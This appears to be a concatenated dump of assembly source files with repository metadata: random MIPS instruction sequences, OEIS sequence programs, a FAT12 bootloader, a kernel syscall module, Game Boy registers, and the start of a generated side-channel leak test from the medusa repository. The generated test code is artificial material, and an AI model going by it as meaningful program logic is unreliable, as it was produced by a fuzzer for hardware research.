mflo $1
divu $4,$ra
addiu $2,$2,12246
srav $6,$0,$5
div $0,$ra
mflo $5
mtlo $5
multu $5,$3
mflo $6
ori $5,$5,60236
addu $4,$4,$2
srav $3,$5,$3
divu $4,$ra
lui $3,49451
divu $1,$ra
sb $1,10($0)
mfhi $6
addiu $5,$1,3649
addiu $4,$4,-4168
multu $1,$6
ori $6,$0,16652
ori $3,$5,37242
mthi $4
multu $4,$6
mflo $5
mthi $5
ori $4,$1,63077
lb $1,13($0)
mult $1,$0
multu $4,$2
ori $4,$1,29908
lb $5,8($0)
sb $2,1($0)
multu $4,$2
div $5,$ra
mfhi $2
lb $1,3($0)
ori $5,$5,10306
srav $6,$2,$0
mflo $5
mtlo $1
addiu $4,$4,4829
mfhi $2
mthi $4
sb $0,15($0)
sb $5,11($0)
srav $5,$4,$1
sll $0,$1,29
addu $2,$4,$2
sll $0,$4,4
addiu $5,$5,2181
addiu $6,$6,21863
mfhi $6
mflo $4
mtlo $1
sb $5,2($0)
lb $1,3($0)
mthi $5
sb $5,1($0)
mult $4,$2
divu $5,$ra
mthi $6
div $6,$ra
lui $2,60205
multu $4,$5
srav $3,$3,$3
mthi $4
mflo $3
sll $2,$2,25
sll $5,$5,1
sll $5,$2,25
div $0,$ra
addu $4,$4,$1
addu $5,$0,$0
divu $1,$ra
lui $1,42004
div $0,$ra
srav $5,$4,$2
addiu $3,$5,-31954
addiu $4,$3,32114
mthi $2
lb $4,1($0)
div $2,$ra
ori $4,$5,7309
ori $5,$2,25450
divu $5,$ra
divu $6,$ra
mfhi $5
sll $2,$2,1
ori $4,$4,64754
lb $1,11($0)
sb $5,2($0)
addiu $2,$2,-11234
lui $5,26875
mfhi $2
addu $5,$1,$1
mfhi $6
lb $6,4($0)
addiu $0,$6,-1046
mthi $5
lui $3,1052
addu $0,$4,$4
addiu $1,$4,-4045
lb $5,11($0)
multu $0,$0
lb $2,7($0)
sb $5,5($0)
srav $1,$1,$4
mult $1,$1
mfhi $5
sll $5,$5,8
mult $2,$2
multu $5,$5
sb $4,13($0)
multu $4,$4
lui $1,51508
lb $4,10($0)
div $5,$ra
mfhi $4
mult $2,$2
multu $5,$5
div $5,$ra
addu $1,$4,$1
lui $1,29489
sll $1,$5,11
divu $6,$ra
mult $6,$2
multu $4,$2
mfhi $0
sll $5,$5,28
mfhi $0
sll $1,$1,31
mult $0,$0
mtlo $5
mfhi $6
mthi $5
addu $4,$5,$3
mfhi $6
ori $5,$5,49997
srav $5,$2,$5
div $1,$ra
mfhi $2
div $4,$ra
mult $4,$4
addiu $5,$1,26342
srav $3,$3,$3
mtlo $5
addiu $6,$5,14011
srav $5,$2,$5
srav $3,$4,$3
mult $5,$5
lui $4,34773
multu $4,$2
addiu $4,$5,13798
multu $2,$2
mult $4,$1
lui $1,50291
lb $1,7($0)
addu $5,$6,$5
addiu $4,$5,-30928
divu $3,$ra
lui $1,62426
mfhi $6
div $4,$ra
sll $4,$4,6
sll $6,$4,7
srav $3,$2,$3
mthi $1
mfhi $3
mult $0,$1
divu $4,$ra
mult $5,$5
multu $0,$2
mflo $5
mflo $4
sb $2,11($0)
sll $3,$5,18
mtlo $5
mflo $1
divu $4,$ra
ori $3,$4,12179
lb $4,14($0)
addiu $5,$1,13391
mfhi $1
multu $5,$5
lb $1,10($0)
mthi $5
mthi $4
sll $6,$2,31
div $4,$ra
div $4,$ra
ori $4,$4,18594
lui $6,37166
srav $5,$5,$4
div $1,$ra
div $1,$ra
mfhi $0
mthi $2
multu $6,$1
ori $2,$2,3472
multu $2,$2
lui $4,36141
mfhi $5
mfhi $2
addiu $4,$4,1234
mtlo $4
sll $5,$5,5
addu $0,$2,$0
sb $1,8($0)
addiu $0,$0,19147
addiu $1,$5,10554
srav $2,$4,$2
divu $6,$ra
sll $5,$5,31
sll $5,$4,30
sll $4,$2,3
lb $4,11($0)
divu $2,$ra
divu $5,$ra
mthi $1
srav $1,$2,$2
addiu $4,$2,-14709
addu $3,$6,$3
multu $0,$4
lui $4,18152
ori $0,$0,1485
mflo $4
mflo $1
addu $6,$2,$3
addiu $5,$4,9396
multu $5,$2
srav $0,$6,$0
addu $4,$6,$3
lb $4,12($0)
lui $5,54715
ori $4,$5,5735
ori $4,$5,50260
mflo $1
mult $1,$4
sll $4,$2,31
addiu $1,$5,19960
lb $4,1($0)
div $4,$ra
sll $4,$1,0
multu $4,$6
addu $1,$2,$2
sb $3,7($0)
divu $1,$ra
divu $4,$ra
lui $5,55235
sll $1,$0,2
sb $4,11($0)
multu $2,$4
sll $4,$5,4
mtlo $5
addiu $1,$6,7221
addu $0,$0,$0
addiu $5,$1,12558
sb $4,2($0)
addu $5,$5,$5
mult $1,$5
addiu $6,$5,-26452
sb $4,5($0)
lb $4,4($0)
lb $6,6($0)
mult $0,$2
lui $1,32562
sb $4,10($0)
divu $5,$ra
srav $0,$1,$3
ori $4,$5,17890
mflo $6
addu $3,$1,$3
div $3,$ra
multu $2,$2
mfhi $5
addiu $0,$2,-19230
sb $3,14($0)
sll $4,$3,5
ori $4,$4,51615
addiu $1,$4,7458
mthi $1
ori $4,$2,6000
multu $0,$1
addu $3,$3,$3
addu $4,$5,$5
mtlo $1
mflo $5
mtlo $5
divu $0,$ra
divu $0,$ra
mflo $0
addu $6,$5,$4
mfhi $1
mthi $4
multu $4,$4
addiu $4,$4,18117
sb $4,6($0)
lb $4,12($0)
mthi $5
mtlo $6
mflo $6
lb $5,15($0)
mflo $2
ori $1,$1,36727
lb $3,4($0)
sll $4,$4,25
divu $4,$ra
addiu $5,$5,-25699
mthi $5
lb $2,8($0)
mult $0,$0
mult $2,$2
mflo $4
divu $3,$ra
sb $4,12($0)
mthi $4
addiu $2,$2,-6337
ori $4,$0,16242
addiu $0,$4,28836
mfhi $5
addiu $0,$2,-20972
mult $4,$1
ori $3,$5,3812
lb $4,9($0)
divu $1,$ra
mtlo $2
addu $4,$4,$4
addiu $4,$6,4600
mult $5,$4
div $1,$ra
mflo $1
addiu $1,$6,24271
addu $5,$5,$5
srav $4,$2,$2
div $3,$ra
srav $4,$4,$3
divu $1,$ra
ori $4,$2,52976
divu $5,$ra
mfhi $4
mult $3,$3
lui $5,50472
mfhi $0
mult $1,$2
sb $5,15($0)
divu $0,$ra
ori $2,$2,35977
div $6,$ra
addu $4,$5,$6
div $1,$ra
mfhi $1
multu $2,$2
divu $1,$ra
multu $4,$1
mfhi $0
mult $1,$2
srav $4,$4,$2
addiu $5,$3,28042
mult $4,$4
mfhi $0
multu $2,$2
mtlo $1
multu $5,$2
sb $4,5($0)
mflo $1
divu $1,$ra
lui $6,7293
div $1,$ra
sb $4,13($0)
mult $5,$4
mult $4,$1
lui $3,42269
addiu $5,$2,2040
divu $5,$ra
mtlo $5
divu $0,$ra
mfhi $2
ori $5,$4,40253
mflo $5
sb $5,7($0)
lui $1,56757
sb $5,14($0)
sb $5,1($0)
addu $5,$1,$6
mult $1,$1
srav $5,$5,$5
div $2,$ra
divu $3,$ra
mult $6,$1
addu $2,$2,$2
addiu $4,$2,-10647
mfhi $4
lb $4,13($0)
div $6,$ra
div $0,$ra
mtlo $1
srav $2,$2,$6
mflo $5
multu $1,$4
lb $2,2($0)
lui $4,46050
divu $1,$ra
mthi $4
addu $2,$2,$5
multu $5,$1
lui $2,11792
sll $1,$4,20
lb $4,16($0)
mfhi $5
mflo $4
addu $1,$4,$3
mtlo $4
ori $5,$4,20215
multu $0,$6
multu $1,$2
mfhi $3
addiu $5,$4,24718
addiu $4,$4,-24269
mtlo $2
lb $1,10($0)
mfhi $0
lb $1,0($0)
sll $1,$5,6
lb $0,1($0)
mult $6,$5
mult $4,$5
sll $5,$2,1
divu $1,$ra
addu $1,$4,$1
mtlo $5
divu $5,$ra
addu $5,$4,$4
lui $2,18816
divu $0,$ra
div $4,$ra
sll $2,$2,31
mthi $1
mflo $1
addiu $1,$1,-6791
lb $2,4($0)
mtlo $4
sb $6,13($0)
mflo $1
mtlo $1
sb $2,7($0)
mflo $1
mfhi $3
div $4,$ra
addiu $5,$1,22250
lui $3,5387
srav $5,$4,$4
div $1,$ra
divu $5,$ra
addiu $2,$2,-28266
sb $5,5($0)
sb $6,5($0)
div $6,$ra
| 11.966292
| 18
| 0.56892
|
6f6a92cf3af1b231faf12822a3d6a19c70277aa3
| 457
|
asm
|
Assembly
|
programs/oeis/174/A174934.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/174/A174934.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/174/A174934.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A174934: a(n) = Sum_{k<=n} A007955(k) * A000027(n-k+1) = Sum_{k<=n} A007955(k) * (n-k+1), where A007955(m) = product of divisors of m.
; 1,4,10,24,43,98,160,286,439,692,956,2948,4953,7154,9580,13030,16497,25796,35114,52432,70191,88434,106700,456742,806909,1157752,1509324,1882848,2256401,3439954
lpb $0
mov $2,$0
sub $0,1
seq $2,175318 ; a(n) = Sum_{k<=n} A007955(k), where A007955(m) = product of divisors of m.
add $1,$2
lpe
add $1,1
mov $0,$1
| 38.083333
| 160
| 0.66302
|
e497434002afbf62f4c6a48a26a8969002f1a8e9
| 1,164
|
asm
|
Assembly
|
programs/oeis/165/A165825.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/165/A165825.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/165/A165825.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A165825: Totally multiplicative sequence with a(p) = 4.
; 1,4,4,16,4,16,4,64,16,16,4,64,4,16,16,256,4,64,4,64,16,16,4,256,16,16,64,64,4,64,4,1024,16,16,16,256,4,16,16,256,4,64,4,64,64,16,4,1024,16,64,16,64,4,256,16,256,16,16,4,256,4,16,64,4096,16,64,4,64,16,64,4,1024,4,16,64,64,16,64,4,1024,256,16,4,256,16,16,16,256,4,256,16,64,16,16,16,4096,4,64,64,256,4,64,4,256,64,16,4,1024,4,64,16,1024,4,64,16,64,64,16,16,1024,16,16,16,64,64,256,4,16384,16,64,4,256,16,16,256,256,4,64,4,256,16,16,16,4096,16,16,64,64,4,256,4,256,64,64,16,256,4,16,16,4096,16,1024,4,64,64,16,4,1024,16,64,64,64,4,64,64,1024,16,16,4,1024,4,64,16,256,16,64,16,64,256,64,4,16384,4,16,64,256,4,256,4,1024,16,16,16,256,16,16,64,1024,16,256,4,64,16,16,16,4096,16,16,16,256,16,64,4,4096,256,16,4,256,4,64,64,256,4,256,16,64,16,64,4,4096,4,64,1024,64,64,64,16,256,16,256
cal $0,255201 ; Number of prime factors of n^2.
add $0,2
cal $0,282005 ; Decimal representation of the x-axis, from the origin to the right edge, of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 413", based on the 5-celled von Neumann neighborhood.
mov $1,$0
div $1,18
mul $1,3
add $1,1
| 105.818182
| 779
| 0.696735
|
c4dcf93d18fbd7ae023027a4e2e3b668332328d8
| 4,878
|
asm
|
Assembly
|
boot/boot.asm
|
chenzhuoyu/MagicOS
|
d8049933a371c9707ad84b521f8bb5b263eaa75f
|
[
"MIT"
] | 2
|
2015-03-23T07:43:50.000Z
|
2019-03-23T16:55:59.000Z
|
boot/boot.asm
|
chenzhuoyu/MagicOS
|
d8049933a371c9707ad84b521f8bb5b263eaa75f
|
[
"MIT"
] | null | null | null |
boot/boot.asm
|
chenzhuoyu/MagicOS
|
d8049933a371c9707ad84b521f8bb5b263eaa75f
|
[
"MIT"
] | 2
|
2015-05-29T02:18:38.000Z
|
2019-07-01T22:41:28.000Z
|
org 0x7C00
; fat_descriptor
fat_descriptor:
jmp boot_entry ; JMP instruction,
nop ; NOP needed
FAT_OEM_NAME db "MagicBox" ; OEM name
FAT_BYTES_PER_SECTOR dw 512 ; Bytes per sector
FAT_SECTORS_PER_CLUSTER db 1 ; Sectors per cluster
FAT_RESERVED_SECTORS dw 1 ; Reserved sectors
FAT_ENTRIES_COUNT db 2 ; FAT entries count
FAT_ROOT_ENTRIES_COUNT dw 224 ; Root directories entries count
FAT_TOTAL_SECTORS_16 dw 2880 ; Total sectors count
FAT_MEDIA_DESC db 0xF0 ; Media descriptor
FAT_FAT_SIZE dw 9 ; FAT size
FAT_SECTORS_PER_TRACK dw 18 ; Sectors per track
FAT_HEADS_COUNT dw 2 ; Magnatic heads count
FAT_HIDDEN_SECTORS dd 0 ; Hidden sectors count
FAT_TOTAL_SECTORS_32 dd 0 ; Total sectors count (32bit)
BOOT_DRIVER_NUM db 0 ; Driver number of interrupt 13h
BOOT_RESERVED db 0 ; Reserved
BOOT_SIGNATURE db 0x29 ; Boot signature
BOOT_VOLUME_ID dd 0 ; Volume ID
BOOT_VOLUME_LABEL db "Magix-v0.1a" ; Volume label
BOOT_FS_TYPE db "FAT12 " ; Filesystem type
; boot_entry
boot_entry:
mov ax, cs
mov ds, ax
mov es, ax
mov ss, ax
jmp main
%include "colors.inc"
%include "puts_rm.inc"
; Loader informations
%define STACK_BASE 0x7C00
%define LOADER_BASE 0x9D00
%define LOADER_OFFSET 0x0100
%define SECTOR_COUNT_ROOT 14
%define SECTOR_ROOT_DIR 19
%define SECTOR_FAT_1 1
%define SECTOR_DELTA 17
; Strings
$Point db '.'
$EndLine db CR, LF
$LoaderFileName db "OSLDR "
$LoadingMsg db "Loading 'osldr' "
$LoadingMsgLen equ ($ - $LoadingMsg)
$LoaderNotFound db CR, LF, CR, LF, "* 'osldr' is missing."
$LoaderNotFoundLen equ ($ - $LoaderNotFound)
; Variables
$IsOdd db 0
$RootDir dw SECTOR_COUNT_ROOT
$SectorNo dw 0
; main
main:
mov sp, STACK_BASE
; Clear screen
xor cx, cx
mov ax, 0x0600
mov bx, 0x0700
mov dx, 0x184F
int 0x10
; Print loading message
print $LoadingMsg, $LoadingMsgLen, WHITE
; Reset floopy driver
xor ah, ah
xor dl, dl
int 0x13
; Searching from root
mov word [$SectorNo], SECTOR_ROOT_DIR
@do_search:
cmp word [$RootDir], 0
jz @loader_not_found
dec word [$RootDir]
mov ax, LOADER_BASE
mov es, ax ; Loader base
mov bx, LOADER_OFFSET ; Loader offset
mov ax, word [$SectorNo] ; Sector number
mov cl, 1 ; Sectors to read
call read_sector
mov di, LOADER_OFFSET
mov si, $LoaderFileName
cld
mov dx, 0x10
@search_loader:
or dx, dx
jz @next_sector
dec dx
mov cx, 11
@compare_str:
or cx, cx
jz @loader_found
dec cx
lodsb
cmp al, byte [es:di]
jz @continue
jmp @different
@continue:
inc di
jmp @compare_str
@different:
and di, 0xFFE0 ; Offset of file name, aligned to 0x20
add di, 0x20
mov si, $LoaderFileName
jmp @search_loader
@next_sector:
inc word [$SectorNo]
jmp @do_search
@loader_not_found:
print $LoaderNotFound, $LoaderNotFoundLen, LIGHT_RED
jmp $
@loader_found:
mov ax, SECTOR_COUNT_ROOT
and di, 0xFFE0
add di, 0x1A ; Start sector
mov cx, word [es:di]
push cx
add cx, ax
add cx, SECTOR_DELTA
mov ax, LOADER_BASE
mov es, ax ; Loader base
mov bx, LOADER_OFFSET ; Loader offset
mov ax, cx ; Sector number
@do_load:
print $Point, 1, WHITE
mov cl, 1 ; Sectors to read
call read_sector
pop ax
call get_fat_entry
cmp ax, 0x0FFF
jz @load_done
push ax
mov dx, SECTOR_COUNT_ROOT
add ax, dx
add ax, SECTOR_DELTA
add bx, word [FAT_BYTES_PER_SECTOR]
jmp @do_load
@load_done:
print $EndLine, 2, WHITE
jmp LOADER_BASE:LOADER_OFFSET
; read_sector
; @arg ax start sector
; @arg cx count
; @arg es:bx buffer
read_sector:
push ebp
mov ebp, esp
sub esp, 2 ; Reserve spaces for cl
mov byte [ebp - 2], cl ; Save sectors count
push bx
mov bl, byte [FAT_SECTORS_PER_TRACK]
div bl
inc ah
mov cl, ah ; Start sector
mov dh, al
shr al, 1
mov ch, al ; Cluster number
and dh, 1 ; Magnatic header number
mov dl, byte [BOOT_DRIVER_NUM] ; Driver index
pop bx
@do_read:
mov ah, 2
mov al, byte [ebp - 2] ; Sectors to read
int 0x13
jc @do_read
add esp, 2 ; Restore stack
pop ebp
ret
; get_fat_entry
; @arg ax sector
; @ret ax index
get_fat_entry:
push es
push bx
push ax
mov ax, LOADER_BASE
sub ax, 0x0100 ; Reserve 4k spaces for FAT
mov es, ax
pop ax
mov bx, 3
mul bx
mov bx, 2
div bx
mov byte [$IsOdd], dl
@even:
xor dx, dx ; ax = FAT offset
mov bx, word [FAT_BYTES_PER_SECTOR]
div bx
push dx
xor bx, bx
add ax, SECTOR_FAT_1 ; ax = Sector number of FAT entry
mov cl, 2
call read_sector
pop dx
add bx, dx
mov ax, word [es:bx]
cmp byte [$IsOdd], 0
jz @skip
shr ax, 4
@skip:
and ax, 0x0FFF
@done:
pop bx
pop es
ret
times 510 - ($ - $$) db 0
dw 0xAA55
| 19.357143
| 67
| 0.667487
|
517a13f148fa41a668306d0f8b98a7cbec6e045e
| 1,017
|
asm
|
Assembly
|
MODULE1/2-data_types/fanta.asm
|
wetw0rk/SLAE
|
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
|
[
"MIT"
] | 18
|
2017-11-28T01:10:10.000Z
|
2020-07-22T13:24:26.000Z
|
MODULE1/2-data_types/fanta.asm
|
wetw0rk/SLAE
|
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
|
[
"MIT"
] | null | null | null |
MODULE1/2-data_types/fanta.asm
|
wetw0rk/SLAE
|
c78bc5a8559b35fefb0b3302be8d3d1acd712e11
|
[
"MIT"
] | 11
|
2018-12-14T16:18:03.000Z
|
2020-12-01T16:37:19.000Z
|
; Executable name : fanta
; Designed OS : Linux (32-bit)
; Author : wetw0rk
; Version : 1.0
; Created Following : SLAE
; Description : A simple program that demonstrates data types.
; This program should be ran under (gdb). If you
; dont it'll just exit! This may be the only code
; that does not include comments for every line
; since its pretty self explanitory. :)
;
; Build using these commands:
; nasm -f elf32 -o fanta.o fanta.asm
; ld -o fanta fanta.o
;
; How to run and use this program (intention):
; gdb -q ./fanta
;
SECTION .data
example1: db 0xFF
example2: db 0xEE, 0xDD, 0xCC,
example3: dw 0xBB
example4: dd 0xDEADBEEF
example5: dd 0x123456
example6: times 6 db 0xAA
SECTION .bss
buff1: resb 100
buff2: resw 20
SECTION .text
global _start
_start:
; exit the program since we are just observing assembly's beauty
mov eax,1 ; syscall for exit()
mov ebx,0 ; exit cleanly or 0
int 80h ; call the kernel
| 23.651163
| 72
| 0.656834
|
1dc0b22b12ed0512a44783646afa9d289c5413cb
| 4,981
|
nasm
|
Assembly
|
modules/taskman/ring0/connection.nasm
|
r-tty/radios
|
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
|
[
"BSD-3-Clause"
] | null | null | null |
modules/taskman/ring0/connection.nasm
|
r-tty/radios
|
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
|
[
"BSD-3-Clause"
] | null | null | null |
modules/taskman/ring0/connection.nasm
|
r-tty/radios
|
fdfaaadd256564ea3ed1b7fc408e7aecf648ae2b
|
[
"BSD-3-Clause"
] | null | null | null |
;-------------------------------------------------------------------------------
; connection.nasm - connection system calls.
;-------------------------------------------------------------------------------
module tm.kern.connection
%include "errors.ah"
%include "thread.ah"
%include "msg.ah"
%include "tm/kern.ah"
%include "tm/process.ah"
publicproc FindConnByNum
publicdata ConnectSyscallTable
externproc R0_Pid2PCBaddr
library $rmk
importproc K_PoolAllocChunk, K_PoolChunkAddr
importproc K_HashAdd
importproc K_AllocateID
importproc K_ChanDescAddr, K_ConnDescAddr, K_CreateSConnDesc
importproc K_SemP, K_SemV
importproc BZero
importdata ?ConnPool, ?ConnHash
section .data
ConnectSyscallTable:
mSyscallTabEnt ConnectAttach, 5
mSyscallTabEnt ConnectServerInfo, 3
mSyscallTabEnt ConnectFlags, 4
mSyscallTabEnt 0
section .text
; Find a connection descriptor by its ordinal number.
; Input: EAX=descriptor number.
; Output: CF=0 - OK, EDI=descriptor address;
; CF=1 - error, EAX=errno.
proc FindConnByNum
mpush ebx,esi
mov ebx,?ConnPool
call K_PoolChunkAddr
jc .NotFound
mov edi,esi
.Exit: mpop esi,ebx
ret
.NotFound: mov eax,-EBADF
jmp .Exit
endp ;---------------------------------------------------------------
; --- System calls -------------------------------------------------------------
; int ConnectAttach(uint nd, pid_t pid, int chid,
; uint index, int flags);
proc sys_ConnectAttach
arg nd, pid, chid, index, flags
locals sconnlist
prologue
; Attaching to a remote channel is a different story...
mov eax,[%$nd]
or eax,eax
jnz near .Exit
; Get the address of channel descriptor
mov eax,[%$pid]
call R0_Pid2PCBaddr
jc near .Exit
Mov32 %$sconnlist,esi+tProcDesc.ConnList
mov eax,[%$chid]
call K_ChanDescAddr
jc near .Exit
mov edx,esi
; Get current thread and process
mCurrThread
mov edi,[eax+tTCB.PCB]
; Allocate a new connection descriptor
mov ebx,?ConnPool
call K_PoolAllocChunk
jc near .Again
mov ebx,esi
mov ecx,tConnDesc_size
call BZero
; Check the index
mov ecx,[%$index]
or ecx,ecx
jz .AllocID
cmp ecx,SIDE_CHANNEL
jne near .BadIndex
; Allocate connection ID
.AllocID: lea ebx,[edi+tProcDesc.MaxConn]
call K_AllocateID
jc near .Again
add eax,ecx
mov [esi+tConnDesc.ID],eax
; Examine the server's connection list. If there are no
; connections from our process to this channel - create a
; new scoid, otherwise use the existing one.
mov ebx,[%$sconnlist]
.ScoIdLoop: or ebx,ebx
jz .NewScoDesc
cmp [ebx+tConnDesc.ClientPCB],edi
jne .Next
cmp [ebx+tConnDesc.ChanDesc],edx
mov eax,[ebx+tConnDesc.ID]
je .ScoDescFound
.Next: mov eax,ebx
mov ebx,[ebx+tConnDesc.Next]
cmp ebx,eax
jne .ScoIdLoop
; Allocate a new server connection descriptor
.NewScoDesc: call K_CreateSConnDesc
jc .Exit
; Update channel information and put the connection to the list
.ScoDescFound: mov [esi+tConnDesc.ScoID],eax
mov [esi+tConnDesc.ChanDesc],edx
inc dword [edx+tChanDesc.NumConn]
mLockCB edi, tProcDesc
mEnqueue dword [edi+tProcDesc.ConnList], Next, Prev, esi, tConnDesc, ebx
mUnlockCB edi, tProcDesc
; Use connection ID as identifier and PCB address as hash key
mov ebx,edi
mov edi,esi
mov esi,[?ConnHash]
call K_HashAdd
jc .Again
mov eax,[edi+tConnDesc.ID]
.Exit: epilogue
ret
.BadIndex: mov eax,-EBADF
jmp .Exit
.Again: mov eax,-EAGAIN
jmp .Exit
endp ;---------------------------------------------------------------
; int ConnectServerInfo(pid_t pid, int coid,
; struct _server_info *info);
proc sys_ConnectServerInfo
arg pid, coid, info
prologue
; Zero PID is also okay - it means local process
mCurrThread ebx
mov esi,[ebx+tTCB.PCB]
mov eax,[%$pid]
or eax,eax
jz .CheckCoid
mov edi,esi
call R0_Pid2PCBaddr
jc .Exit
.CheckCoid: mov eax,[%$coid]
call K_ConnDescAddr
jc .Exit
mov edx,[%$info]
add edx,USERAREACHECK
jc .Fault
cmp edx,-tMsgInfo_size
jg .Fault
.Exit: epilogue
ret
.Fault: mov eax,-EFAULT
jmp .Exit
endp ;---------------------------------------------------------------
; int ConnectFlags(pid_t pid, int coid, uint mask, uint bits);
proc sys_ConnectFlags
arg pid, coid, mask, bits
prologue
; If pid is nonzero, check if that process is owned by a user
mCurrThread ebx
mov esi,[ebx+tTCB.PCB]
mov eax,[%$pid]
or eax,eax
jz .CheckCoid
mov edi,esi
call R0_Pid2PCBaddr
jc .Exit
Cmp32 esi+tProcDesc.Cred+tCredInfo.EUID, \
edi+tProcDesc.Cred+tCredInfo.RUID
jne .BadPerm
.CheckCoid: mov eax,[%$coid]
call K_ConnDescAddr
jc .Exit
mov edx,[edi+tConnDesc.Flags]
mov eax,[%$mask]
and eax,COF_CLOEXEC ; Supported flags
mov ecx,[%$bits]
and ecx,eax
or [edi+tConnDesc.Flags],ecx
not eax
or eax,[%$bits]
and [edi+tConnDesc.Flags],eax
mov eax,edx
.Exit: epilogue
ret
.BadPerm: mov eax,-EPERM
jmp .Exit
endp ;---------------------------------------------------------------
| 22.137778
| 80
| 0.650271
|
de8acfecf75eda0b88d2bd43dc39a89c0d2803b1
| 713
|
asm
|
Assembly
|
oeis/099/A099587.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/099/A099587.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/099/A099587.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A099587: a(n) = coefficient of x in (1+x)^n mod (1+x^4).
; Submitted by Christian Krause
; 0,1,2,3,4,4,0,-14,-48,-116,-232,-396,-560,-560,0,1912,6528,15760,31520,53808,76096,76096,0,-259808,-887040,-2141504,-4283008,-7311552,-10340096,-10340096,0,35303296,120532992,290992384,581984768,993510144,1405035520,1405035520,0,-4797091328,-16378294272,-39540700160,-79081400320,-135000394752,-190919389184,-190919389184,0,651839567872,2225519493120,5372879343616,10745758687232,18344157523968,25942556360704,25942556360704,0,-88573427769344,-302408598355968,-730078939529216,-1460157879058432
mov $4,1
lpb $0
sub $0,1
add $2,$3
sub $4,$3
sub $3,$1
add $1,$3
add $4,$2
add $1,$4
mul $4,2
lpe
mov $0,$1
| 41.941176
| 496
| 0.740533
|
9c4358fcb26f8519ce32546b5370e205b53c99c4
| 886
|
asm
|
Assembly
|
src/common/registers.asm
|
rainbowbismuth/gbg
|
4b6234ad30c9995b8d7678c6db05412043e64fa6
|
[
"BSD-3-Clause"
] | null | null | null |
src/common/registers.asm
|
rainbowbismuth/gbg
|
4b6234ad30c9995b8d7678c6db05412043e64fa6
|
[
"BSD-3-Clause"
] | null | null | null |
src/common/registers.asm
|
rainbowbismuth/gbg
|
4b6234ad30c9995b8d7678c6db05412043e64fa6
|
[
"BSD-3-Clause"
] | null | null | null |
REG_Joypad EQU $00
REG_Divider EQU $04
REG_Interrupt_Flag EQU $0F
REG_Sound1_Sweep EQU $10
REG_Sound1_LengthDuty EQU $11
REG_Sound1_VolumeEnvelope EQU $12
REG_Sound1_FreqLow EQU $13
REG_Sound1_FreqHi EQU $14
REG_Sound_MasterVolume EQU $24
REG_Sound_Panning EQU $25
REG_Sound_OnOff EQU $26
REG_LCD_Control EQU $40
REG_LCD_Status EQU $41
; BG scrolling
REG_Scroll_Y EQU $42
REG_Scroll_X EQU $43
REG_LCD_Y EQU $44
REG_LCD_Y_Compare EQU $45
REG_OAM_DMA EQU $46
; LCD Monochrome Palettes, Non-GBC-mode only
REG_BG_Palette EQU $47
REG_OB_Palette_1 EQU $48
REG_OB_Palette_2 EQU $49
REG_CGB_Speed_Switch EQU $4D
REG_CGB_VRAM_Bank EQU $4F
REG_CGB_BG_Palette_Index EQU $68
REG_CGB_BG_Palette_Data EQU $69
REG_CGB_Sprite_Palette_Index EQU $6A
REG_CGB_Sprite_Palette_Data EQU $6B
REG_CGB_WRAM_Bank EQU $70
HRAM_Leaf_Begin EQU $E0
HRAM_Leaf_End EQU $FE
REG_Interrupt_Enable EQU $FF
| 17.372549
| 44
| 0.825056
|
e59012b516aceca8c291caa50521337afa2a9544
| 8,268
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1578.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1578.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0.log_21829_1578.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x6b13, %rbx
nop
nop
nop
xor $43350, %r14
mov (%rbx), %r11
nop
and %rcx, %rcx
lea addresses_D_ht+0x18213, %rsi
nop
nop
nop
xor $14963, %rdx
movb (%rsi), %bl
nop
nop
nop
nop
add $47828, %r14
lea addresses_A_ht+0x2583, %rsi
nop
nop
cmp $21840, %r12
movups (%rsi), %xmm1
vpextrq $0, %xmm1, %r11
nop
nop
nop
nop
nop
inc %r11
lea addresses_WT_ht+0x713, %rsi
nop
nop
nop
nop
nop
